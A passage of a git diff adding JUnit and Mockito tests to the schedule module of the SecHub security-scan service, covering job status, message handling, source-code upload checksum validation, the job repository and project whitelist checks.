assertEquals(LOCALDATETIME_1_AS_STRING, statusToTest.started); + } + + @Test + public void when_ended_is_NOT_null_status_has_localdate_time_string() { + /* prepare */ + + when(secHubJob.getEnded()).thenReturn(localDateTime1); + + /* execute */ + statusToTest = new ScheduleJobStatus(secHubJob); + + /* test */ + assertEquals(LOCALDATETIME_1_AS_STRING, statusToTest.ended); + } + +} diff --git a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/ScheduleMessageHandlerTest.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/ScheduleMessageHandlerTest.java new file mode 100644 index 0000000000..7ff3affe6b --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/ScheduleMessageHandlerTest.java @@ -0,0 +1,123 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; +import static org.mockito.Mockito.*; + +import java.util.ArrayList; +import java.util.List; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.core.task.TaskExecutor; + +import com.daimler.sechub.domain.schedule.access.ScheduleGrantUserAccessToProjectService; +import com.daimler.sechub.domain.schedule.access.ScheduleRevokeUserAccessAtAllService; +import com.daimler.sechub.domain.schedule.access.ScheduleRevokeUserAccessFromProjectService; +import com.daimler.sechub.sharedkernel.messaging.AsynchronMessageHandler; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.SynchronMessageHandler; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +/** + * The test does not only test the message handler but also the domain message service recognition + * of asynchronous event resolving by annotations. + * @author Albert Tregnaghi + * + */ +public class ScheduleMessageHandlerTest { + + private ScheduleMessageHandler scheduleHandlerToTest; + private FakeDomainMessageService fakeDomainMessageService; + + @Before + public void before() { + scheduleHandlerToTest = new ScheduleMessageHandler(); + + scheduleHandlerToTest.grantService= mock(ScheduleGrantUserAccessToProjectService.class); + scheduleHandlerToTest.revokeUserFromProjectService=mock(ScheduleRevokeUserAccessFromProjectService.class); + scheduleHandlerToTest.revokeUserService=mock(ScheduleRevokeUserAccessAtAllService.class); + + + List injectedAsynchronousHandlers = new ArrayList<>(); + injectedAsynchronousHandlers.add(scheduleHandlerToTest); + List injectedSynchronousHandlers = new ArrayList<>(); + + fakeDomainMessageService = new FakeDomainMessageService(injectedSynchronousHandlers, injectedAsynchronousHandlers); + + } + + @Test + public void when_sending_message_id_USER_ADDED_TO_PROJECT_the_addUserToProjectService_is_called() { + /* prepare */ + DomainMessage request = new DomainMessage(MessageID.USER_ADDED_TO_PROJECT); + UserMessage content = new UserMessage(); + content.setProjectId("projectId1"); + content.setUserId("userId1"); + request.set(MessageDataKeys.PROJECT_TO_USER_DATA, content); + + /* execute */ + simulateEventSend(request, scheduleHandlerToTest); + + /* test */ + verify(scheduleHandlerToTest.grantService).grantUserAccessToProject("userId1","projectId1"); + + } + + @Test + public void when_sending_message_id_USER_REMOVED_FROM_PROJECT_the_revokeUserFromProjectService_is_called() { + /* prepare */ + DomainMessage request = new DomainMessage(MessageID.USER_REMOVED_FROM_PROJECT); + UserMessage content = new UserMessage(); + content.setProjectId("projectId1"); + content.setUserId("userId1"); + request.set(MessageDataKeys.PROJECT_TO_USER_DATA, content); + + /* execute */ + simulateEventSend(request, scheduleHandlerToTest); + + /* test */ + verify(scheduleHandlerToTest.revokeUserFromProjectService).revokeUserAccessFromProject("userId1","projectId1"); + + } + + @Test + public void when_sending_message_id_USER_DELETED_the_revokeUserService_is_called() { + /* prepare */ + DomainMessage request = new DomainMessage(MessageID.USER_DELETED); + UserMessage content = new UserMessage(); + content.setUserId("userId1"); + request.set(MessageDataKeys.USER_DELETE_DATA, content); + + /* execute */ + simulateEventSend(request, scheduleHandlerToTest); + + /* test */ + verify(scheduleHandlerToTest.revokeUserService).revokeUserAccess("userId1"); + + } + + private void simulateEventSend(DomainMessage request, AsynchronMessageHandler handler) { + fakeDomainMessageService.sendAsynchron(request); + } + + private class FakeDomainMessageService extends DomainMessageService{ + + public FakeDomainMessageService(List injectedSynchronousHandlers, + List injectedAsynchronousHandlers) { + super(injectedSynchronousHandlers, injectedAsynchronousHandlers); + this.taskExecutor=new TestTaskExecutor(); + } + + } + private class TestTaskExecutor implements TaskExecutor{ + + @Override + public void execute(Runnable task) { + task.run(); + } + + } + +} diff --git a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/ScheduleTestFileSupport.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/ScheduleTestFileSupport.java new file mode 100644 index 0000000000..5d89672bdc --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/ScheduleTestFileSupport.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import com.daimler.sechub.test.SechubTestComponent; +import com.daimler.sechub.test.TestFileSupport; + +@SechubTestComponent +public class ScheduleTestFileSupport extends TestFileSupport { + private static final ScheduleTestFileSupport TESTFILE_SUPPORT = new ScheduleTestFileSupport(); + + public static ScheduleTestFileSupport getTestfileSupport() { + return TESTFILE_SUPPORT; + } + + ScheduleTestFileSupport() { + super("sechub-schedule/src/test/resources"); + } + +} \ No newline at end of file diff --git a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/SchedulerRestControllerMockTest.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/SchedulerRestControllerMockTest.java new file mode 100644 index 0000000000..8769c504a6 --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/SchedulerRestControllerMockTest.java @@ -0,0 +1,243 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static com.daimler.sechub.test.TestURLBuilder.RestDocPathParameter.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*; +import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.io.InputStream; +import java.time.LocalDateTime; +import java.util.Optional; +import java.util.UUID; + +import javax.validation.ValidationException; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mockito; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.mock.web.MockMultipartFile; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.domain.schedule.access.ScheduleAccess; +import com.daimler.sechub.domain.schedule.access.ScheduleAccess.ProjectAccessCompositeKey; +import com.daimler.sechub.domain.schedule.access.ScheduleAccessRepository; +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfigurationValidator; +import com.daimler.sechub.sharedkernel.type.TrafficLight; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(SchedulerRestController.class) +@ContextConfiguration(classes= {SchedulerRestController.class, SchedulerRestControllerMockTest.SimpleTestConfiguration.class}) +@WithMockUser +@ActiveProfiles(Profiles.TEST) +public class SchedulerRestControllerMockTest { + + private static final String PROJECT1_ID = "project1"; + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getWebMVCTestHTTPSPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + private SchedulerApproveJobService mockedScheduleService; + + @MockBean + private SchedulerCreateJobService mockedScheduleCreateJobService; + + @MockBean + private SchedulerGetJobStatusService mockedScheduleJobStatusService; + + @MockBean + private SchedulerUploadService mockedUploadService; + + @MockBean + private SecHubConfigurationValidator sechubConfigurationValidator; + + @MockBean + private SecHubJobRepository mockedJobRepository; // even when not used here, its necessary to define the mock-its + // indirectly used by scheduler service auto wiraing ?!? + @MockBean + private ScheduleAccessRepository mockedProjectRepository; + + private ScheduleAccess project1; + + private UUID randomUUID; + + @Test + public void get_job_status_from_existing_job_returns_information() throws Exception { + /* prepare */ + + ScheduleJobStatus status = new ScheduleJobStatus(); + status.jobUUID = randomUUID; + status.result = ExecutionResult.NONE.name(); + status.state = ExecutionState.STARTED.name(); + status.trafficLight = null; + + when(mockedScheduleJobStatusService.getJobStatus(PROJECT1_ID, randomUUID)).thenReturn(status); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildGetJobStatusUrl(PROJECT1_ID,randomUUID.toString())). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(content().json("{jobUUID:"+randomUUID.toString()+", result:NONE, state:STARTED, trafficLight:null}") + ); + + /* @formatter:on */ + } + + @Test + public void scheduling__returns_job_id_from_service() throws Exception { + /* prepare */ + UUID randomUUID = UUID.randomUUID(); + SchedulerResult mockResult = new SchedulerResult(randomUUID); + + when(mockedScheduleCreateJobService.createJob(any(), any(SecHubConfiguration.class))).thenReturn(mockResult); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAddJobUrl(PROJECT1_ID)). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("{}") + )./*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(content().json("{jobId:"+randomUUID.toString()+"}") + ); + + /* @formatter:on */ + } + + @Test + public void scheduling_calls_always_validator() + throws Exception { + /* prepare */ + UUID randomUUID = UUID.randomUUID(); + SchedulerResult mockResult = new SchedulerResult(randomUUID); + + when(mockedScheduleCreateJobService.createJob(any(), any(SecHubConfiguration.class))).thenReturn(mockResult); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAddJobUrl(PROJECT1_ID)). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("{}") + )./*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(content().json("{jobId:"+randomUUID.toString()+"}") + ); + + verify(this.sechubConfigurationValidator).validate(any(),any()); + + /* @formatter:on */ + } + + @Test + public void uploadSourceCode_calls_uploadservice_with_given_checksum() throws Exception { + /* prepare */ + + ScheduleSecHubJob job = new ScheduleSecHubJob() { + public UUID getUUID() { + return randomUUID; + }; + }; + job.setExecutionResult(ExecutionResult.OK); + job.setStarted(LocalDateTime.now().minusMinutes(15)); + job.setEnded(LocalDateTime.now()); + job.setExecutionState(ExecutionState.INITIALIZING); + job.setOwner("CREATOR1"); + job.setTrafficLight(TrafficLight.GREEN); + + ScheduleJobStatus status = new ScheduleJobStatus(job); + + when(mockedScheduleJobStatusService.getJobStatus(PROJECT1_ID, randomUUID)).thenReturn(status); + + InputStream inputStreamTo = ScheduleTestFileSupport.getTestfileSupport() + .getInputStreamTo("upload/zipfile_contains_only_test1.txt.zip"); + MockMultipartFile file1 = new MockMultipartFile("file", inputStreamTo); + /* execute + test @formatter:off */ + this.mockMvc.perform( + multipart(https(PORT_USED).buildUploadSourceCodeUrl(PROJECT_ID.pathElement(), JOB_UUID.pathElement()) ,PROJECT1_ID,randomUUID). + file(file1).param("checkSum", "mychecksum") + ); + + verify(mockedUploadService).uploadSourceCode(PROJECT1_ID, randomUUID, file1, "mychecksum"); + /* @formatter:on */ + } + + + @Test + public void when_scheduler_throws_an_validation_exception_a_HTTP_400_bad_request_is_thrown() throws Exception { + /* prepare */ + when(mockedScheduleCreateJobService.createJob(any(), any())).thenThrow(new ValidationException("something-goes-wrong")); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(1234).buildAddJobUrl(PROJECT1_ID)). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()). */ + andExpect(status().isBadRequest()); + + /* @formatter:on */ + } + + @Test + public void scheduling_a_sechub_configuration_having_no_api_version_set__fails_HTTP_400_bad_request() + throws Exception { + /* prepare */ + SchedulerResult mockResult = Mockito.mock(SchedulerResult.class); + + when(mockedScheduleCreateJobService.createJob(any(), any(SecHubConfiguration.class))).thenReturn(mockResult); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAddJobUrl(PROJECT1_ID)). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + ).andDo(print()). + andExpect(status().isBadRequest()); + + /* @formatter:on */ + } + + @Before + public void before() { + randomUUID = UUID.randomUUID(); + project1 = mock(ScheduleAccess.class); + + ProjectAccessCompositeKey key = new ProjectAccessCompositeKey("user", PROJECT1_ID); + when(project1.getKey()).thenReturn(key); + + when(mockedProjectRepository.findById(key)).thenReturn(Optional.of(project1)); + + when(sechubConfigurationValidator.supports(SecHubConfiguration.class)).thenReturn(true); + } + + @TestConfiguration + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration{ + + } +} diff --git a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/SchedulerUploadServiceTest.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/SchedulerUploadServiceTest.java new file mode 100644 index 0000000000..fd97f404d5 --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/SchedulerUploadServiceTest.java @@ -0,0 +1,90 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static org.mockito.Mockito.*; + +import java.util.UUID; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.springframework.web.multipart.MultipartFile; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; +import com.daimler.sechub.sharedkernel.storage.JobStorage; +import com.daimler.sechub.sharedkernel.storage.StorageService; +import com.daimler.sechub.sharedkernel.util.FileChecksumSHA256Service; + +public class SchedulerUploadServiceTest { + + private static final String PROJECT1 = "project1"; + private SchedulerUploadService serviceToTest; + private FileChecksumSHA256Service mockedChecksumService; + private StorageService mockedStorageService; + private UUID randomUuid; + private ScheduleAssertService mockedAssertService; + private MultipartFile file; + + @Rule + public ExpectedException expectedException = ExpectedException.none(); + private JobStorage storage; + + @Before + public void before() { + randomUuid = UUID.randomUUID(); + + mockedChecksumService=mock(FileChecksumSHA256Service.class); + mockedStorageService=mock(StorageService.class); + mockedAssertService=mock(ScheduleAssertService.class); + + ScheduleSecHubJob job = new ScheduleSecHubJob(); + when(mockedAssertService.assertJob(PROJECT1, randomUuid)).thenReturn(job); + storage = mock(JobStorage.class); + when(storage.getAbsolutePath(SchedulerUploadService.SOURCECODE_ZIP)).thenReturn("the-path"); + when(mockedStorageService.getJobStorage(PROJECT1, randomUuid)).thenReturn(storage); + + file = mock(MultipartFile.class); + + /* attach at service to test */ + serviceToTest = new SchedulerUploadService(); + serviceToTest.checksumSHA256Service=mockedChecksumService; + serviceToTest.storageService=mockedStorageService; + serviceToTest.assertService=mockedAssertService; + + } + + @Test + public void when_checksum_correct_and_is_zip__correct_no_failure() { + /* prepare */ + when(mockedChecksumService.hasCorrectChecksum("mychecksum", "the-path")).thenReturn(true); + when(storage.isValidZipFile(SchedulerUploadService.SOURCECODE_ZIP)).thenReturn(true); + + /* execute */ + serviceToTest.uploadSourceCode(PROJECT1, randomUuid, file, "mychecksum"); + } + + @Test + public void when_checksum_is_NOT_correct_but_valid_zipfile_throws_404() { + /* prepare */ + when(mockedChecksumService.hasCorrectChecksum("mychecksum", "the-path")).thenReturn(false); + when(storage.isValidZipFile(SchedulerUploadService.SOURCECODE_ZIP)).thenReturn(true); + expectedException.expect(NotAcceptableException.class); + + /* execute */ + serviceToTest.uploadSourceCode(PROJECT1, randomUuid, file, "mychecksum"); + } + + @Test + public void when_checksum_is_correct_but_not_valid_zipfile_throws_404() { + /* prepare */ + when(mockedChecksumService.hasCorrectChecksum("mychecksum", "the-path")).thenReturn(true); + when(storage.isValidZipFile(SchedulerUploadService.SOURCECODE_ZIP)).thenReturn(false); + expectedException.expect(NotAcceptableException.class); + + /* execute */ + serviceToTest.uploadSourceCode(PROJECT1, randomUuid, file, "mychecksum"); + } + +} diff --git a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/JobCreator.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/JobCreator.java new file mode 100644 index 0000000000..4c41cf15a9 --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/JobCreator.java @@ -0,0 +1,87 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.job; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import org.springframework.boot.test.autoconfigure.orm.jpa.TestEntityManager; + +import com.daimler.sechub.domain.schedule.ExecutionResult; +import com.daimler.sechub.domain.schedule.ExecutionState; +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.test.SechubTestComponent; + +@SechubTestComponent +public class JobCreator { + + private TestEntityManager entityManager; + private ScheduleSecHubJob job; + private SecHubJobFactory jobFactory; + private String projectId; + private UserContextService userContextService; + + private JobCreator(String projectId, TestEntityManager entityManager) { + this.entityManager = entityManager; + this.projectId = projectId; + this.jobFactory = new SecHubJobFactory(); + userContextService=mock(UserContextService.class); + this.jobFactory.userContextService=userContextService; + when(userContextService.getUserId()).thenReturn("loggedInUser"); + + newJob(); + } + + public static JobCreator jobCreator(String projectId, TestEntityManager entityManager) { + return new JobCreator(projectId, entityManager); + } + + public JobCreator being(ExecutionState state) { + job.executionState = state; + return this; + } + + public JobCreator result(ExecutionResult result) { + job.executionResult = result; + return this; + } + + /** + * Creates the job and returns builder agani + * + * @return + */ + public JobCreator createAnd() { + create(); + return this; + } + + /** + * Creates the job, does an automatic assert that ID is created. The creator + * will reinit after job was created and can be reused. + * + * @return created job + */ + public ScheduleSecHubJob create() { + entityManager.persist(job); + entityManager.flush(); + + assertNotNull(job.getUUID()); + + ScheduleSecHubJob result = job; + newJob(); + + return result; + } + + public JobCreator newJob() { + return newJob(new SecHubConfiguration()); + } + + public JobCreator newJob(SecHubConfiguration configuration) { + configuration.setProjectId(projectId); + job = jobFactory.createJob(configuration); + return this; + } + +} diff --git a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/JobFactoryTest.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/JobFactoryTest.java new file mode 100644 index 0000000000..72708808d6 --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/JobFactoryTest.java @@ -0,0 +1,58 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.job; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; + +public class JobFactoryTest { + + private SecHubJobFactory factoryToTest; + private SecHubConfiguration configuration; + + @Rule + public ExpectedException expected = ExpectedException.none(); + + @Before + public void before() { + factoryToTest = new SecHubJobFactory(); + configuration = mock(SecHubConfiguration.class); + factoryToTest.userContextService=mock(UserContextService.class); + } + + @Test + public void new_jobs_have_creation_time_stamp() throws Exception { + /* prepare */ + when(factoryToTest.userContextService.getUserId()).thenReturn("hugo"); + + /* execute */ + ScheduleSecHubJob job = factoryToTest.createJob(configuration); + + /* test */ + assertNotNull(job); + assertNotNull(job.getCreated()); + + } + + @Test + public void factory_throws_illegal_state_exception_when_no_user() throws Exception { + /* prepare */ + when(factoryToTest.userContextService.getUserId()).thenReturn(null); + + /* test */ + expected.expect(IllegalStateException.class); + + /* execute */ + factoryToTest.createJob(configuration); + + + } + +} diff --git a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/JobRepositoryDBTest.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/JobRepositoryDBTest.java new file mode 100644 index 0000000000..b9536d6cda --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/JobRepositoryDBTest.java @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.job; + +import static com.daimler.sechub.domain.schedule.ExecutionState.*; +import static com.daimler.sechub.domain.schedule.job.JobCreator.*; +import static org.junit.Assert.*; + +import java.util.Optional; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.batch.core.repository.JobRepository; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest; +import org.springframework.boot.test.autoconfigure.orm.jpa.TestEntityManager; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.daimler.sechub.test.TestUtil; + +@RunWith(SpringRunner.class) +@SpringBootTest +@DataJpaTest +@ContextConfiguration(classes= {JobRepository.class, JobRepositoryDBTest.SimpleTestConfiguration.class}) +public class JobRepositoryDBTest { + + @Autowired + private TestEntityManager entityManager; + + @Autowired + private SecHubJobRepository jobRepository; + + private JobCreator jobCreator; + + @Before + public void before() { + + jobCreator = jobCreator("project-db-test", entityManager); + } + + @Test + public void findByUUID__the_job_is_returned_when_existing() { + /* prepare */ + ScheduleSecHubJob newJob = jobCreator.create(); + + /* execute */ + Optional job = jobRepository.findById(newJob.getUUID()); + + /* test */ + assertTrue(job.isPresent()); + assertEquals(newJob.getUUID(), job.get().getUUID()); + } + + @Test + public void findNextJobToExecute__and_no_jobs_available_at_all_null_is_returned_when_existing() { + + assertFalse(jobRepository.findNextJobToExecute().isPresent()); + } + + @Test + public void findNextJobToExecute__and_no_executable_job_available_at_all_null_is_returned_when_existing() { + /* prepare */ + jobCreator.newJob().being(STARTED).create(); + + /* execute + test */ + assertFalse(jobRepository.findNextJobToExecute().isPresent()); + + } + + @Test + public void findNextJobToExecute__the_first_job_in_state_READY_TO_START_is_returned_when_existing() { + /* prepare @formatter:off*/ + + jobCreator.newJob().being(STARTED).createAnd(). + newJob().being(CANCEL_REQUESTED).createAnd(). + newJob().being(ENDED).create(); + + ScheduleSecHubJob expectedNextJob = + jobCreator.newJob().being(READY_TO_START).create(); + + TestUtil.waitMilliseconds(1); // just enough time to make the next job "older" than former one, so we got no flaky tests when checking jobUUID later + + + jobCreator.newJob().being(STARTED).createAnd(). + newJob().being(READY_TO_START).create(); + + /* execute */ + Optional optional = jobRepository.findNextJobToExecute(); + assertTrue(optional.isPresent()); + + ScheduleSecHubJob job = optional.get(); + + /* test @formatter:on*/ + assertNotNull(job.getUUID()); + assertEquals(expectedNextJob.getUUID(), job.getUUID()); + } + + @TestConfiguration + @EnableAutoConfiguration + public static class SimpleTestConfiguration{ + + } +} diff --git a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/SecHubJobTest.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/SecHubJobTest.java new file mode 100644 index 0000000000..e8668d821f --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/job/SecHubJobTest.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.job; + +import static com.daimler.sechub.test.PojoTester.*; + +import java.util.UUID; + +import org.junit.Test; + +public class SecHubJobTest { + + @Test + public void test_equals_and_hashcode_correct_implemented() { + /* prepare */ + ScheduleSecHubJob objectA = new ScheduleSecHubJob(); + objectA.uUID = UUID.randomUUID(); + + ScheduleSecHubJob objectBequalToA = new ScheduleSecHubJob(); + objectBequalToA.uUID = objectA.uUID; + + ScheduleSecHubJob objectCnotEqualToAOrB = new ScheduleSecHubJob(); + objectCnotEqualToAOrB.uUID = UUID.randomUUID(); + + /* test */ + testEqualsAndHashCodeCorrectImplemented(objectA, objectBequalToA, objectCnotEqualToAOrB); + } + +} diff --git a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSecHubConfigurationValidationServiceTest.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSecHubConfigurationValidationServiceTest.java new file mode 100644 index 0000000000..63370f35a1 --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSecHubConfigurationValidationServiceTest.java @@ -0,0 +1,140 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.whitelist; + +import static com.daimler.sechub.sharedkernel.configuration.TestSecHubConfigurationBuilder.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; + +public class ProjectWhiteListSecHubConfigurationValidationServiceTest { + + private static final String IP_ADRESS_2 = "192.168.1.2"; + private static final String IP_ADRESS_1 = "192.168.1.1"; + private ProjectWhiteListSecHubConfigurationValidationService serviceToTest; + private String projectId = "project1"; + + @Rule + public ExpectedException expectedException = ExpectedException.none(); + private ProjectWhiteListSupport support; + private ProjectWhitelistEntryRepository repository; + private List whiteListFoundForProject; + + + @Before + public void before() throws Exception { + /* prepare */ + serviceToTest=new ProjectWhiteListSecHubConfigurationValidationService(); + support = mock(ProjectWhiteListSupport.class); + + repository=mock(ProjectWhitelistEntryRepository.class); + whiteListFoundForProject=new ArrayList<>(); + + serviceToTest.support=support; + serviceToTest.projectWhiteListEntryRepository=repository; + + when(repository.fetchWhiteListEntriesForProject(projectId)).thenReturn(whiteListFoundForProject); + + } + + + @Test + public void no_configured_uris_no_call_to_validation_support() { + /* execute */ + serviceToTest.assertAllowedForProject(configureSecHub().projectId(projectId).build()); + + /* test */ + verifyZeroInteractions(support); + } + + + @Test + public void configured_webscan_uri_validation_support_called() throws Exception{ + /* prepare */ + whiteListFoundForProject.add(new ProjectWhitelistEntry(projectId, new URI(IP_ADRESS_1))); + when(support.isWhitelisted(any(), any())).thenReturn(true); //always whitelisted + + /* execute */ + serviceToTest.assertAllowedForProject(configureSecHub().projectId(projectId).webConfig().addURI(IP_ADRESS_1).build()); + + /* test */ + verify(support).isWhitelisted(eq(IP_ADRESS_1), any()); + } + + @Test + public void when_support_says_webscan_uri_is_not_whitelisted_a_notacceptable_exception_is_thrown() throws Exception{ + /* test */ + expectedException.expect(NotAcceptableException.class); + + /* prepare */ + whiteListFoundForProject.add(new ProjectWhitelistEntry(projectId, new URI(IP_ADRESS_2))); + when(support.isWhitelisted(any(), any())).thenReturn(false); // not whitelisted - so failure expected + + /* execute */ + serviceToTest.assertAllowedForProject(configureSecHub().projectId(projectId).webConfig().addURI(IP_ADRESS_1).build()); + + } + + @Test + public void configured_infrascan_uri_validation_support_called() throws Exception{ + /* prepare */ + whiteListFoundForProject.add(new ProjectWhitelistEntry(projectId, new URI(IP_ADRESS_1))); + when(support.isWhitelisted(eq(IP_ADRESS_1), any())).thenReturn(true); //always whitelisted + + /* execute */ + serviceToTest.assertAllowedForProject(configureSecHub().projectId(projectId).infraConfig().addURI(IP_ADRESS_1).build()); + + /* test */ + verify(support).isWhitelisted(eq(IP_ADRESS_1), any()); + } + + @Test + public void when_support_says_infracan_uri_is_not_whitelisted_a_notacceptable_exception_is_thrown() throws Exception{ + /* test */ + expectedException.expect(NotAcceptableException.class); + + /* prepare */ + whiteListFoundForProject.add(new ProjectWhitelistEntry(projectId, new URI(IP_ADRESS_2))); + when(support.isWhitelisted(eq(IP_ADRESS_1), any())).thenReturn(false); // not whitelisted - so failure expected + + /* execute */ + serviceToTest.assertAllowedForProject(configureSecHub().projectId(projectId).infraConfig().addURI(IP_ADRESS_1).build()); + + } + + @Test + public void configured_infrascan_ip_validation_support_called() throws Exception{ + /* prepare */ + whiteListFoundForProject.add(new ProjectWhitelistEntry(projectId, new URI(IP_ADRESS_1))); + when(support.isWhitelisted(eq(IP_ADRESS_1), any())).thenReturn(true); //always whitelisted + + /* execute */ + serviceToTest.assertAllowedForProject(configureSecHub().projectId(projectId).infraConfig().addIP(IP_ADRESS_1).build()); + + /* test */ + verify(support).isWhitelisted(eq(IP_ADRESS_1), any()); + } + + @Test + public void when_support_says_infracan_ip_is_not_whitelisted_a_notacceptable_exception_is_thrown() throws Exception{ + /* test */ + expectedException.expect(NotAcceptableException.class); + + /* prepare */ + whiteListFoundForProject.add(new ProjectWhitelistEntry(projectId, new URI(IP_ADRESS_2))); + when(support.isWhitelisted(eq(IP_ADRESS_1), any())).thenReturn(false); // not whitelisted - so failure expected + + /* execute */ + serviceToTest.assertAllowedForProject(configureSecHub().projectId(projectId).infraConfig().addIP(IP_ADRESS_1).build()); + + } +} diff --git 